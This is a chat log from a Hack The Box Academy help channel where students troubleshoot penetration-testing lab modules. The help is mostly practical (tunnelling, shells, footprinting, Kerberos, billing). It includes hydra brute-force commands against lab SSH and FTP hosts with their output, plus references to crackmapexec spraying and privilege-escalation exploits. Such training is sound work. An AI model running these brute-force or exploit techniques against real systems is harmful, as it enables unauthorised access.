modules

[pale tinsel]

ICMP Tunneling with SOCKS:
https://academy.hackthebox.com/module/158/section/1438

ubuntu@WEB01:~/ptunnel-ng/src$ sudo ./ptunnel-ng -r10.129.81.39 -R22
[sudo] password for ubuntu:
./ptunnel-ng: error while loading shared libraries: libcrypto.so.3: cannot open shared object file: No such file or directory

I followed all steps mentioned in module.
I also installed autoconf.
But Im facing issue.

Please help while building which command Should I use.
Or which version it will resolve the issue.

@fathom pendant please help

[fathom pendant]

well bloodhound is just very noisy tbf

[safe star]

Oh yeah

[fathom pendant]

whereas you can just load Find-InterestingAcls -ResolveGuids into a variable and use echo or something to query it

[tacit bay]

ok, the previous user logins worked - the instructions are just incorrect for this question:

[fathom pendant]

#1234357888114364508 then

[tacit bay]

didnt know about that - cheers

[fathom pendant]

also authenticate to can mean various things, such as using evil-winrm

if it's not specified assume some odd connection

[tacit bay]

no it was 100% a typo - that user doesnt even exist on that server, have raised in erratum

[fathom pendant]

Don't see the error? Unless you mean the connection reset.

I used ligolo as well for this and it worked fine for me

[sinful olive]

Yes the connection reset.. When I nmap it doesn't work. Ping does work.

[fathom pendant]

Also deleting your message bc it reveals some of the stuff of the module

Try a different vpn region? I had no issues on US 3

[sinful olive]

oh ok.. I took the latest agent&proxy from the releases..

[fathom pendant]

Same

Also did you try adding -Pn to your nmap scan to be sure?

:)

[sinful olive]

I'll try, but I changed vpn many times so I don't know if thats the solution. Yes I added -Pn

[fathom pendant]

us academy 3 worked for me ¯_(ツ)_/¯

I had 0 issues with nmap

Also this may sound dumb

But did you start the tunnel?

[sinful olive]

Yes of course:) Can I send you in private the code I used? Even though in the image - you see that it works

[fathom pendant]

Well tbf your image only showed you connected to the session not that you started the tunnel

[sinful olive]

Sent you in private.. Thanks!

[fathom pendant]

Didn't consent to dm

Idk what your issue could be and I can't be bothered to troubleshoot for you. You can try a different pivoting tool to see if it works better

[pale tinsel]

Anyone please guide

[glossy bone]

Hi. I want to give a recommendation on using the Academy HTB website. It would be convenient if there was a "Add to my favorites modules" button in the open module, and not just in the section where all modules are listed.

[indigo niche]

Can I pleaseget some help with the whole billing/cubes model. I want to do the CREST CCT INF Preparation path which costs 11510 cubes. I understand the monthly billing thing where you get cubes every month or you can buy cubes outright. But how does the yearly subscriptions work? I don't understand the "all modules up to Tier 2/Tier 3" thing.

[storm elk]

Every module will show which tier it is

The yearly subscription will allow you to unlock up to a certain tier, and if you complete the module, it is yours forever

[indigo niche]

Given there are 58 modules in the CREST CCT INF Preparation path, do I have to click into each one to find out what tier it is?

I'm just trying to figure out the most cost effective way of studying this

[storm elk]

Yeah that would mean having to do some calculations 🙂

it also depends on how fast you go through the content

because with the monthly plans, you get a certain amount each billing cycle

[limber river]

that's the case of annual plans and the student subs

[indigo niche]

Do I need to go on a monthly or yearly plan or can I just outright buy the 11510 cubes?

[limber river]

11510 is too much cubes

if you can afford the golden plans , will be the fastest way

[indigo niche]

and from what I understand I also get cubes for finishing modules too?

[limber river]

yeah

[sacred jacinth]

no

[indigo niche]

Ok cool, I'm just going to start with the free one to see what the modules are like. How can I tell how many cubes I need to unlock a module?

[limber river]

unlocks for 500 and you get 100 after completing the module

[acoustic owl]

For each module higher than Tier 0, you will be reimbursed 20% of the costs once you have completed the module in full.

https://academy.hackthebox.com/faq

[indigo niche]

I can't seem to see that. For example in this module https://academy.hackthebox.com/module/details/25 where am I supposed to look for how many I need

[indigo niche]

I get it now, but it's just really hard to calculate over 58 modules

[limber river]

that's tier 3 , you can use this as reference

[indigo niche]

ok got it now, thanks guys

[limber river]

if you check path , you will findout how many cubes to unlock the whole path

[indigo niche]

I think the best value for me is to just buy the cubes outright

in 5000 cube lots

Final question, once I complete a module it is mine forever right? I don't need to re-unlock it or anything

[limber river]

yeah

[rustic sage]

Hello guys! I’m finishing the “Linux fundamentals” module of “Information Security Foundations” path. There are a lot of informations to remember. What is you approch and method for study all content ? It is enough to do the exercises ?

[wanton ore]

hey guys, I'm currently studying the Shells and Payloads module the reverse shells section.

Whenever I try to perform a reverse shell using the command given in the reading I get this error. I tried it on my machine and got the same error.
I solved it on my machine buy putting the command inside a reverse.ps1 file, but it doesn't seem to be working on the pawnbox.

and this is the full command

[acoustic owl]

Play with Linux as much as possible. Try out all kinds of things. The module will explain to you exactly how it works. Then apply it as much as possible in your daily use of Linux.

[rustic sage]

Thanks. 🙏

[autumn pilot]

try to run it through command prompt

[wanton ore]

ur a lifesaver. Thanks

[pseudo kiln]

Anyone faced this error when running the CVE-2020-0668.exe exploit from windows priv esc, kernel section ?

Unhandled Exception: System.IO.FileNotFoundException: Could not load file or assembly 'NtApiDotNet, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null' or one of its dependencies. The system cannot find the file specified. at CVE_2020_0668.Program.Main(String[] args)

ah nvm, I fixed it you have to copy all the exploit files not just the exe

[median gale]

Got the next flag but somewehre along the way managed to skip this one any hints?

Pivoting, Tunneling, and Port Forwarding | Skill Assessment

What is refearred as workstation is the win 10 internal host ?

Lol found it

In the last machine there are 2 flags

[queen elbow]

Hey guys, I am new here and trying to start a career in cybersecurity. Can anyone provide me some guidance of where I should start from.

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[shut vapor]

Hah! I was so relieved when I found both flags within seconds. I was afraid I had another layer of pivoting to go. 😅
I just finished up last night myself.

[zenith canopy]

Module - footprinting, Can someone please provide more context on what this means and what exactly we are trying to gather information about?

[limber surge]

Try to find a working XSS payload for the Image URL form found at '/phishing' in the above server, and then use what you learned in this section to prepare a malicious URL that injects a malicious login form. Then visit '/phishing/send.php' to send the URL to the victim, and they will log into the malicious login form. If you did everything correctly, you should receive the victim's login credentials, which you can use to login to 'phishing/login.php' and obtain the flag.

need some help, when i run the command sudo php -S 0.0.0.0:80 i got the message error. failed to listen due to address being use? how to resolve?

[storm elk]

Use a different port and adjust your URL accordingly @limber surge

It is because your port is already being used

[acoustic owl]

Or kill the process that is using port 80.

[storm elk]

or that

[shut vapor]

My take would be that this is asking you to think about why the computers or systems that you discover exist. Consider an example: A user enters their information into a payment portal (source) -- it's saved to a database (destination). You might not see the database yet, but you could assume that data is going somewhere and that's important to keep in mind.

[quiet trout]

indeed, and also about the nature of client<->server communication. your requests (any actions you perform or attempt to make) do not simply dissipate into the ether after a command/action is taken, another actual "computer" is receiving and processing it, and like mentioned already you are rarely "see" it.

@zenith canopy ^

[granite osprey]

Hello, I need some help to solve Linux stack-based buffer overflows skills assessment.
I've managed to change the execution flow of the program, and have a reverse shell as htb-student, not as root. Someone had the same problem in 2022, but unfortunately, he doesnt say much about it.

[eager siren]

hello i am in module Web Attcks on Mass IDOR Enumeration section, i am spawning my target and am accessing it on the browser. For some reason when i am trying to access the Documents page i cant, also when i manually type the /documents.php i go to a page with no docuemnts to download

[wild sage]

I found what you were talking about, now working on getting sqlmap to inject

[patent oak]

Has anyone heard of VPN services like NordVPN causing false positives on portscans?

[quiet trout]

can you paste some screen shots of what the pages look like when you try to access them? maybe also do a curl on the ../documents.php page and share that output? is burp intercept turned on?

im not having that issue

[tender nimbus]

Hey guys im stuck here someone can help? Its for tns footprinting

[karmic girder]

ohhh, thanksss

[fathom pendant]

--break-system-packages on the pip3 install

"No module" generally means it's not installed not that it doesn't exist

[lofty whale]

Fighting with nibbler. Using msf to run the exploit nibbleblog_file_upload and all I get back it exploit completed, but no session created. This exploit may require manual cleanup of "image.php" on target. Any thoughts

[fathom pendant]

Did you set the lhost properly?

[lofty whale]

I thought I did

[fathom pendant]

set lhost tun0

[lofty whale]

Running now

[tender nimbus]

so do i need to look in the file line 54 what the name is of the module?µ

[fathom pendant]

No

Literally look at what I said prior to that

[fathom pendant]

The python3.11 installs natively come with an EXTERNALLY-MANAGED file, that's what that info message means

And explains alternative ways to install

[zealous rune]

@fathom pendant - latest stable debian codename bookworm for info 🙂

[tacit bay]

can I DM for a nudge pls?

[rustic sage]

hi guys, i want to know are there any ctfs in htb that can be completed only with bug bounty hunter path knowledge?

[tender nimbus]

Hey again, i created a virtual enviroment with python, is it recommanded to create those for every tool i will use ? like this

[clear coral]

I just finished the hard footprinting lab, and I have a question. I had to use show solution once I gained the ssh foothold, and it said I needed to use mysql. How could I have enumerated the need to use SQL on my own?

[lusty thicket]

idk

[shut vapor]

You can always look to see what services are running which were not visible from a port scan (e.g. they're firewalled off or only listening to 127.0.0.1). I feel like this is brought up more in future modules. I haven't reached the privesc module yet, but this should be a step you take in privilege escalation.

I usually use the following more or less

ss -lntp

[sacred jacinth]

I am also on that module, did your nmap results not show the running MSSQL service?

[quasi wave]

hi I am doing the Password mutations section of password attacks module. there's only one question. I generated a list of password mutations. I have hydra cracking for the intended user based on the mutated password list I generated. this is taking forever and I wanna make sure I'm doing the right thing:

┌─[us-academy-4]─[10.10.14.4]─[htb-ac-605555@htb-yxahj9jcvm]─[~/Desktop/Password-Attacks]
└──╼ [★]$ hydra -l "sam" -P mut_password.list ssh://10.129.194.249
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-11 12:54:21
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 94044 login tries (l:1/p:94044), ~5878 tries per task
[DATA] attacking ssh://10.129.194.249:22/


[STATUS] 111.00 tries/min, 111 tries in 00:01h, 93937 to do in 14:07h, 12 active

I think 14 hours is a long time

is there anything I can do to speed it up?

[shut vapor]

Are there any other services running; are any of those a little snappier?

[quasi wave]

ok thanks

[clear coral]

Nope. Just imap, pop3, ssh, and snmp

[clear coral]

Thank you> i'm gonna note this down for the future

[fiery wadi]

hey, im new here and i was wondering if someone could teach me how to ethical hack

[shut vapor]

I would suggest you create a virtualenv anytime you've got to install requirements from pip. With python utilities requiring external requirements, you'd often do the following during setup to install dependencies:

$ pip install -r requirements.txt

The requirements file defines the libraries required and their versions. While you can install dependencies into the OS with pip you'll quickly find they're treading on each other and stuff gets broke quickly. The virtual environment isolates these installations, avoiding the problem.

[clever spear]

Hello, I'm currently doing the Linux fundamentals module and I found something I dont quite understand...
If I run

$ cat << EOF > test.txt

I get the expected input from STDIN into the file.
However I played around a bit more and found this:

$ cat << EOF << EOF > test.txt

This requires me to use EOF twice before it actually quits and it sends everything I send (even after the first EOF) to the file...
I thought it would error out or something... or somehow try to create a second file given taht the signal is called "End of File"
I know this is not really "useful" but I just wanna understand whats going on.
Is the first EOF deleted as the second one comes around wrapped or somehow ?
Can someone explain to me whats happening here ? What am I missing ?

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[quasi wave]

my nmap results showed ftp and I'm trying that but that's also taking forever

it also shows SMB but the target doesn't have SMBv1 open and I guess hydra uses SMBv1?

[shut vapor]

aaaanything else?

Ah. Yes.

[quasi wave]

┌─[us-academy-4]─[10.10.14.4]─[htb-ac-605555@htb-yxahj9jcvm]─[~/Desktop/Password-Attacks]
└──╼ [★]$ hydra -l sam -P mut_password.list 10.129.194.249 ftp
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-09-11 13:14:54
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 94044 login tries (l:1/p:94044), ~5878 tries per task
[DATA] attacking ftp://10.129.194.249:21/
[STATUS] 252.00 tries/min, 252 tries in 00:01h, 93792 to do in 06:13h, 16 active

6 hours and 13 minutes is a long time

[shut vapor]

Yea, hydra is a little behind on the times with SMB. Any other utilities to try?

[quasi wave]

ok hold on

ok now I'm using crackmapexec to dictionary attack it

we'll see where it goes

[shut vapor]

Let 'em all rip. It's like a race where you're always the winner... unless your not because it is a dictionary attack, after all.

j/k, 6 hours I'd terminate that sucker.

[tender nimbus]

do you mean like this?

bcs sometimes i can install what i need but other times i receive this kind of error

[shut vapor]

Yes, I'd approach trying to resolve those dependencies by first creating a virtualenv. I don't recall jumping through a lot of hoops with odat in the footprinting module, but I also use kali and the VPN, so it might have already been installed for me.

[quasi wave]

I'm doing crackmapexec it appears to be going much quicker than hydra. we'll see if it gets through entire list in a few more minutes

[novel lynx]

LLMNR/NBT-NS Poisoning - from Linux.
Is the rockyou.txt supposed to be the correct wordlist to use?

[tender nimbus]

okej so what you saying is like installing the moduls like ussual (apt install ....) but if it don't work bcs they are externally managed then its better to create a virtual env?

[shut vapor]

I think that here is some sage advice on the the installation of that utility from someone more familiar than me. #modules message

[shut vapor]

but, yes, in my experience when I have to install some dependencies via pip I create a virtualenv.

[quasi wave]

how long should I give crackmapexec to crack it?

[shut vapor]

The module should have pretty clear directions for installing anything.

[shut vapor]

I was going to wait another 3 minutes and then ask for a screen shot, but we can do it now.

Can you share a capture of the output you're getting from CME?

[tender nimbus]

okej thank, yeah he talked about break-system-packages but it would be better to know why some packages can and other can't be installed ^^ i will make more researches thank you 🙂

[quasi wave]

that screenshot is from a minute ago

bruteforcing smb

[shut vapor]

Ok, can we DM?

[quasi wave]

sure

[digital crown]

Command Injection
Advanced Command Obfuscation
I dont know how to escape '-n 1' part of the challenge without throwing base64 at all of this

[novel lynx]

LLMNR/NBT-NS Poisoning - from Linux.
Is the rockyou.txt supposed to be the correct wordlist to use? i've tried the rockyou.txt file download from git, the rockyou.txt that i had to gunzip on the pwnbox, the password.list from previous modules, and the mut_password.list. None successful.

nvm, got it to work

[fathom pendant]

You can but it's literally not required

The info message displayed literally tells you what you can do to circumvent

[tender nimbus]

Okej like i see you look to have more experience then me what should you recommand? Just install it the way they tell you like pip3 or pipx or to do it with a --break-system-packages?

[fathom pendant]

Do it with --break-system-packages

Or if you can, pipx doesn't check that file

[sacred jacinth]

I just did the section I will paste the script I used to setup odat:

wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip && wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip && sudo mkdir -p /opt/oracle && sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip && sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip && cd /opt/oracle/instantclient_21_4 && find . -type f | sort && export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH && export PATH=$LD_LIBRARY_PATH:$PATH && source ~/.bashrc && sqlplus -V

it set it up in like 2 seconds

[fathom pendant]

The problem is in recent python installs, there's a file added in that breaks the script

[tender nimbus]

its ok i also finsihed it i just want more info bcs i know that breaking the system packages is not really recommended and i dont want to do things that i dont understand that why i ask a lot of questions ^^

[fathom pendant]

It doesn't matter at the end of the day

[sacred jacinth]

oh wait I installed it on the pwnbox, im guessing its happening in VMs?

[fathom pendant]

The info message happens on pwnbox too

[tender nimbus]

tools that u use do you unsinstall them after using them or do you keep them?

[fathom pendant]

I keep them

[sacred jacinth]

I guess I was lucky to not run into that many problems

[fathom pendant]

Why would I uninstall a tool I might use in the future

Depends when you did it

[sacred jacinth]

just did it

like 5 mins ago

[fathom pendant]

¯_(ツ)_/¯

Either way

I always recommend going through the script line by line

[tender nimbus]

idk haha the thing that make me scared is this thing of is the problems it can make at my OS by using the breaking....

[fathom pendant]

Bc sometimes it breaks partway through

[fathom pendant]

It won't generally cause problems my guy

[unique ether]

How can I share a computer science meme

[sacred jacinth]

so we develop an understanding of how the script works? 🤔

[tender nimbus]

okej i trust you then and if it ever happen just install it ?

[fathom pendant]

No bc sometimes it just flat out breaks and some lines don't get run

[sacred jacinth]

oohhh alright

[fathom pendant]

I generally just use --break-system-packages (or go in and delete the EXTERNALLY-MANAGED file)

[unique ether]

@fathom pendant when do u sleep bro

[fathom pendant]

Yes

[tender nimbus]

okej thanks you help is really precious you help a lot of people here thanks for that

[fathom pendant]

Another option is doing sudo apt install python3-packagename which is stated in the externally managed message

[tender nimbus]

yeah but i think i also received a warning message or something

[fathom pendant]

If apt doesn't have the package then you have to install with pip/pipx

[clever spear]

Hello,
I'll repost the question from earlier to get some more eyes on it, just wanna avoid spamming...
I'm currently doing the Linux fundamentals module and I found something I dont quite understand...
If I run

$ cat << EOF > test.txt

I get the expected input from STDIN into the file.
However I played around a bit more and found this:

$ cat << EOF << EOF > test.txt

This requires me to use EOF twice before it actually quits and it sends everything I send (even after the first EOF) to the file...
I thought it would error out or something... or somehow try to create a second file given taht the signal is called "End of File"
I know this is not really "useful" but I just wanna understand whats going on.
Is the first EOF deleted as the second one comes around wrapped or somehow ?

In addition I also found this:

$ cat << EOF << SIGKILL << EOF > test1.txt
heredoc> test 1
heredoc> EOF
heredoc> SIGKILL
heredoc> test2
heredoc> EOF

In my head the SIGKILL should kill the cat process before it can receive the final input right ?
Can someone explain to me whats happening here ? What am I missing ?

[fathom pendant]

It's because of "heredoc" stuff

https://linuxize.com/post/bash-heredoc/

You're basically giving it a closing key with each subsequent <<

[clever spear]

interesting... is this an extension to bash somehow or built-in ?

[lofty whale]

Finally got my shell on nibbler but when I get to unzip personal.zip I get unknown: command. Thoughts

[fathom pendant]

It's a built in

[fathom pendant]

Unzip should be on the system if not gunzip may work. I don't recall having issues

[clever spear]

awesome!
now that I know what to look for, I'll look into it more!
thank you very much for the answer!

[lofty whale]

Unzip didn't work either. It says suddenly is an unknown command as well

Gunzip *

[fathom pendant]

Weird

Both should be on the system

[lofty whale]

Sudo* fat fingers today

[fathom pendant]

Well your user has limited sudo perms anyway

[lofty whale]

I've switched servers and targets as well

[slender night]

The SMTP section of the footprinting course really need an update, specially with the questions

[unique ether]

Why

[fathom pendant]

? The only rough bit was the tns section. Everything else holds up fairly well

[unique ether]

Tbh the explanation wasnt that great in that section like often I wouldnt understand what they tryna convey. Maybe it's on me but I use gpt to help me understand it longer and easier way

[fathom pendant]

Eh oracle tns is just another type of database

[unique ether]

Yea also other parts of the module I was getting confused but that's because it was fresh info to me

[fathom pendant]

You're more likely to see mysql externally and mssql internally

[unique ether]

I liked the labs

[subtle oriole]

hello guys

[marsh echo]

Hello 🙂

[subtle oriole]

Any recommendation from these "take-notes" tools to work through CPTS learning path?

I like Notepad++ but not sure if it is macOS compatible

[old oasis]

I use Notion

[marsh echo]

Notion too

[subtle oriole]

Notion is web based, nothing gets installed locally, does it?

[marsh echo]

Recently obsidian but notion Do the trick

[old oasis]

yes its cloud based. If you want to keep things local then you can use obsidian

[subtle oriole]

I kinda prefer it all local to keep it secret lol

[marsh echo]

Available on macOS and Windows but in the case of Linux you can use it on the web

[old oasis]

if its just course notes then it don't really matter. I don't use it for sensitive stuff

[subtle oriole]

I will try Obsidian for the time being

thank you guys

[fathom pendant]

I use obsidian

It's because you have powerview imported

[cold star]

Don't we have to import powerview before using it?

[fathom pendant]

Nope

All the commands in that are in native Active-Directory

[cold star]

but even though I imported why is it throwing errors?

[cold star]

Oki Gotcha

[fathom pendant]

Because something in powerview is conflicting with activedirectory

[cold star]

Got it Thanks it worked

[fathom pendant]

The module is above t0 btw so please don't share screenshots of the module content

[cold star]

Oh Sorry I will not from future

[subtle oriole]

.

[unique ether]

I have heard obsidian is good but u cant have it access on the web iirc

[fathom pendant]

I mean you can if you're clever enough

But also

[unique ether]

I have been using regular md files and pushing on github

[fathom pendant]

There's a git extension for obsidian btw

[unique ether]

Wait what lol

[fathom pendant]

Yeah lol

[unique ether]

💀

Breh

[fathom pendant]

You can sync to a private repo

[safe star]

Is that not what u meant?💀

[unique ether]

No lol

I just use regular md files on my github for each section

[sly trench]

Guys I have a problem with pentester path, password attacks, password mutations. I modified the password and tried using crackmapexec, I was told by other people here that the command is correct and I was even told what letter the password starts with, I deleted all passwords that didn't start with the letter b in password.list file and then i used hashcat to mutate the passwords with custom.rule. then I use crackmapexec and even if the target doesnt respawn and doesnt do anything weird, and i get "connection error: the NetBIOS connection with the remote host has timed out"
This has been going on for like 2 days where I kept leaving crackmapexec do its own thing and it didn't get solved. I even deleted my Kali image and installed a new one and the problem is the same. Ofc I changed vpns and spawned many different targets

[fathom pendant]

There's the official obsidian sync that's like $5 a month or something

[unique ether]

Cause sometimes I study at work and I open in browser everything

[fathom pendant]

I wouldn't modify the passwords file tbh

And your error is a connection error

[unique ether]

So I just edit files on github directly with edit option

[fathom pendant]

Also make sure the repo is private

[sly trench]

So use password.list instead of mut_password.list?

[fathom pendant]

I meant the mutated list

Don't make any modifications, as that list is reused a lot

[unique ether]

Oh even if it's like my own explanations?

[fathom pendant]

Yes

[sly trench]

In one week I'll need to delete my Kali image again so it doesn't really matter

How do I solve this thing

Because I can't even finish the list

[fathom pendant]

Well the connection error sounds like you're not connected to the vpn

Or your connection isn't stable

Also use netexec instead

[sly trench]

Ok lemme try

[marsh echo]

Yeah but idk if it’s avaible on the web, obsidian Helps me make cleaner notes and notion helps me follow my action plan

[sly trench]

Same error

[sly trench]

@fathom pendant do I have to contact technical support for this? Because it seems like its not working on many vm's I create

[fathom pendant]

Yeah probably best to do that

[tender nimbus]

Hey guys i dont really understand the error? i tried different hashes with different delimiters but still the same error?

[fathom pendant]

Did you copy the admin: part?

[tender nimbus]

yeah i treid that to

[fathom pendant]

Also you can make it so it outputs in a hashcat friendly manner

[tender nimbus]

also with :salt at the end

[fathom pendant]

There's no :salt to tack on

[tender nimbus]

with the admin: part i receive a token length exception

[quasi wave]

Hi is there a way to take previous terminal command output and move it to a file besides ctrl shift c?

I looked it up and didn’t get relevant results

Because the results are only for current command

[buoyant junco]

guys i need a help i am for Windows Privilege Escalation Skills Assessment - Part I, but i am having problem to generate the target, it is generated but it does not ping, when i run nmap it does not throw me data or anything, has anyone else had this happen and do you know how to fix it? i have already changed vpn 3 times, and nothing happens

[tender nimbus]

try -Pn

[lusty thicket]

previous? do you mean like !100 > file.txt ?

you can also use !! > file.txt for previous

idk tho

[quasi wave]

I looked through whole thing and someone said I had right terminal input and told me what letter the password starts with and I looked and can't find it

[quiet trout]

re run the cmd and use the redirect > operator, or pipe to tee echo "hello world" | tee -a out.txt | xargs ...

[onyx halo]

just did it

[short trellis]

Can someone help with LPE - Shared Object Hijacking ? cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
cp: cannot create regular file '/development/libshared.so': Permission denied

[paper gust]

ipmi.txt isn't being considered as a path because it doesnt exist where hashcat can see it/is looking for it

and the literal "ipmi.txt" obviously isn't a hash format with a proper separator and thus triggers a parser error for lacking the separators

[shut quest]

Re-read the question on what it is asking you to do.

[quasi wave]

someone tried to help me with the password mutations section in the password attacks module. I believe I have the right command and for some reason its not giving it to me. The output in the attached file is part of the output but I think its not the full output. The member I worked with confirmed the answer was under the Bs not As. The problem is the pwnbox always runs out of time no matter how long I give it before the command closes. I'm thinking maybe I need to do it from a VM? I came a little closer with ag's help but I am getting no where.

[edit: I'm not allowed to post the actual output on the server]

The password won't show up even with that output and I think the command is right or else the output wouldn't look like that.

Should I install Parrot on my own device in VM and crack locally? What would you recommend I do?

[ocean night]

Can you remove that file please.

[quasi wave]

ok

[ocean night]

Firstly massive output lol, secondly Tier 1 module, but you can ask for advice regarding why your approach to this step is not working, but without posting specifics like that

Could be a simple matter of wrong wordlist

or username

[quasi wave]

I know I generated right wordlist and the guy I got help from agreed

I know its the right username because they give you the username

and it says in the module how to generate the right wordlist

and I checked that I did it correctly and then verified with someone else from this server

[ocean night]

I mean I'd say it's gotta be network issues then, but you were getting auth denied responses there

[quasi wave]

ok

but then I was attacking the target

when attacking on pwnbox

so isn't evasion advanced?

I'm clearly doing something wrong here

like when it comes to this challenge like I don't get it

[fathom pendant]

The king has spoken

[quasi wave]

can someone tell me what my issue is? do I need to let it go on longer?

like I feel like the issue might be that pwnbox can only be expanded for so long

I know I have the right wordlist because I generate the wordlist with a command done to a file that is given in the resources.

so unless the resources changes the file I don't see how it can be possible for me to have wrong list

[ocean night]

🤷‍♂️

[quasi wave]

because I was trying diffferent protocols

I have to be overthinking this

[ocean night]

Them sharing solutions, shouldn't really do that but there we go

Check out what else is available to you 🙂

[quasi wave]

ok

is anything else going to solve the section?

I mean for this section?

[ocean night]

I can't really say much else, past go through the module again, pay close attention and don't go off the word of others for a solution if you can avoid it

[empty trout]

on the official parrot website i dont see htb edition

[cloud urchin]

the password module can be pretty misleading, it harps really hard on finding the password policy to shape your attack, it mentions specific password lengths, and then completely ignores those things in the skill assessment

[ocean night]

It's under the "Live" download options @empty trout

[empty trout]

yeah found

thanks

[calm obsidian]

Is the manual SQL injection that is covered in CPTS enough to then go on and complete OSCP or is there other additional modules you should cover?

[cloud urchin]

no, completing the SQL fundamentals module is not enough to pass OSCP. there's a lot more to it than SQL injection.

[quasi wave]

ok so this means 47 hours?

[STATUS] 33.00 tries/min, 33 tries in 00:01h, 94011 to do in 47:29h, 4 active

that's part of the output I get I don't want to post more output as to not spoil it.

which means it will take forever

should I try a different tool if this is the case?

[cloud urchin]

no one can really answer you based on that info. different protocols have different thresholds for concurrent connections and it looks like you're using really low threads.

[quasi wave]

ok

[cloud urchin]

probably best to just use the tool showcased

[calm obsidian]

Lol sorry I meant the entire CPTS and all of the modules including the SQL injections modules within it

[cloud urchin]

i can't comment myself since i haven't done oscp but from what i read pretty much everyone says if you struggle with oscp and their content to take the cpts course becuase it preps you way better than the actual oscp course itself

as to the course contents, it's not even close CPTS blows OSCP out of the water

[calm obsidian]

Thanks I have heard the same. I'm in the middle of doing the sqlmap module and found out in OSCP it all has to be done manually. I just thought what was covered might be slightly light in the sql injection fundementals module for the OSCP but was unsure.

[fathom pendant]

lmfao one of the last sections of AEN (closing up)

Hacked around 250 Targets
400+ module sections completed
500+ challenge questions solved
Over 750,000 words read

over 750,000 words read, you don't say

[fathom pendant]

there's a basic sqli module

which really just goes over the barebones basics of what you'd need to know

[celest sigil]

SSH to the target, create a bind shell, then use netcat to connect to the target using the bind shell you set up. When you have completed the exercise, submit the contents of the flag.txt file located at /customscripts. -- Im stuck on create a bind shell. it just gets stuck on "Listening on 0.0.0.0" any advice?

[cloud urchin]

you're missing a lot of info in your question, like module/section, what you're doing to try and get the shell, etc.

it could literally be anything based off what you said

[fathom pendant]

https://academy.hackthebox.com/achievement/badge/ec79fd2b-70ae-11ef-864f-bea50ffe6cb4

[dim wolf]

GG

[ocean night]

Nice one 🙂

[cloud urchin]

when you taking the test marcielee?

[fathom pendant]

after going through and reading the module after doing it blind; i'm glad to see what i wrote off as "not notable" was validated

and i had grabbed the relevant flags or had the relevant stuff saved in notes to crack a password or two

that wasn't part of the main path

10000% worth doing AEN blind as a test of your methodology; no reading questions or anything

[marsh jay]

I'm having trouble in the skill assessment of the "Using Web Proxies " module can someone help me?

[cloud urchin]

yes many here can help

[fathom pendant]

did you try using a web proxy

[celest sigil]

I was trying to send a screenshot but it wasnt letting me. Im doing the Shells & Payloads > Bind Shells Questions. I went through all of the steps on the page where it says "Binding a bash shell to the tcp session". Trying to get the "flag.txt" file located at "/customscripts"

[fathom pendant]

hey @ocean night can I get a message pinned about how to effectively asking questions (Ik i have the ability to pin things due to discord permission shenanigans, but i'd like the ok to do so)

then you haven't done it correctly

the general steps are:
decode until you can't decode anymore N steps
grab that hash, and use that as the prefix for your attack
use just the wordlist stated in the question
re-encode the payload in the reverse order you decoded it in

note you'll need to select the whole cookie in your to do this with

[cloud urchin]

too many spoilers brother

[fathom pendant]

@pure apex please refrain from posting spoilers of high-level modules :)

[fathom pendant]

it was yeeted before you replied

i am 2fast2nolife

[marsh jay]

it's literally written in the question

[cloud urchin]

lol no that command with the hash is definitely not included in the question

[fathom pendant]

even if it's written in the question, it's a module above t0

[marsh jay]

okay I'm sorry then I didn't know

[pure apex]

Opps... where should I ask then?

[cloud urchin]

believe it or not, straight to jail

[fathom pendant]

this is the right place to ask for module help

[marsh jay]

😢

[fathom pendant]

but don't post content directly related to the module/lab

if you really feel the need to; redact as much as possible while it still being understandable to those that have done it

[fathom pendant]

i think you got your wires crossed?

[cloud urchin]

his deleted comment showed the hash and the full command he used to ptt

[ocean arrow]

im trying to instal sqlplus on my VM for the sql footprinting course and i am having a wonderful time trying can anybody help me ? disclaimer: Im using a macbook pro m3 arm64 architecture. (yes i know i picked one of the most difficult pcs to use lol) @fathom pendant

[cloud urchin]

or a mod deleted it or whatever

[fathom pendant]

wrong person

it was PK that had the hash command

not KM

[cloud urchin]

ahh lol

[fathom pendant]

KM is working on the web proxies module

[cloud urchin]

what's up with these two letter names

[ocean night]

When asking for advice, please include the module and section. Include a description of what you have tried, and where you are struggling. If the module you are working on is above Tier 0, then do not post specifics, rather keep your query generic, and somebody may reach out to you.

[fathom pendant]

where he as to re-encode the decoded hash with extra characters tacked on

[marsh jay]

lol I was looking back at my messages looking for a command

[fathom pendant]

ye

[quasi wave]

hi @fathom pendant can I DM you?

[fathom pendant]

about?

[dim wolf]

kinda miffed that my notes on Injection Attacks skills assessment are pretty much non-existent

[pure apex]

Alright, let me rephrase. In the Golden Ticket section of the Kerberos attack module, I created a ticket and used the method taught in the module with PowerView to generate the SID, along with the NTLM provided in the exercise. However, I can't seem to move laterally to dc01. I'm not sure why

[marsh jay]

oh it's extra? I was replacing the last letter

[fathom pendant]

yes

i believe the hint or something explicitly calls it out for being one character too short

[marsh jay]

thank you I think that was my mistake

[marsh jay]

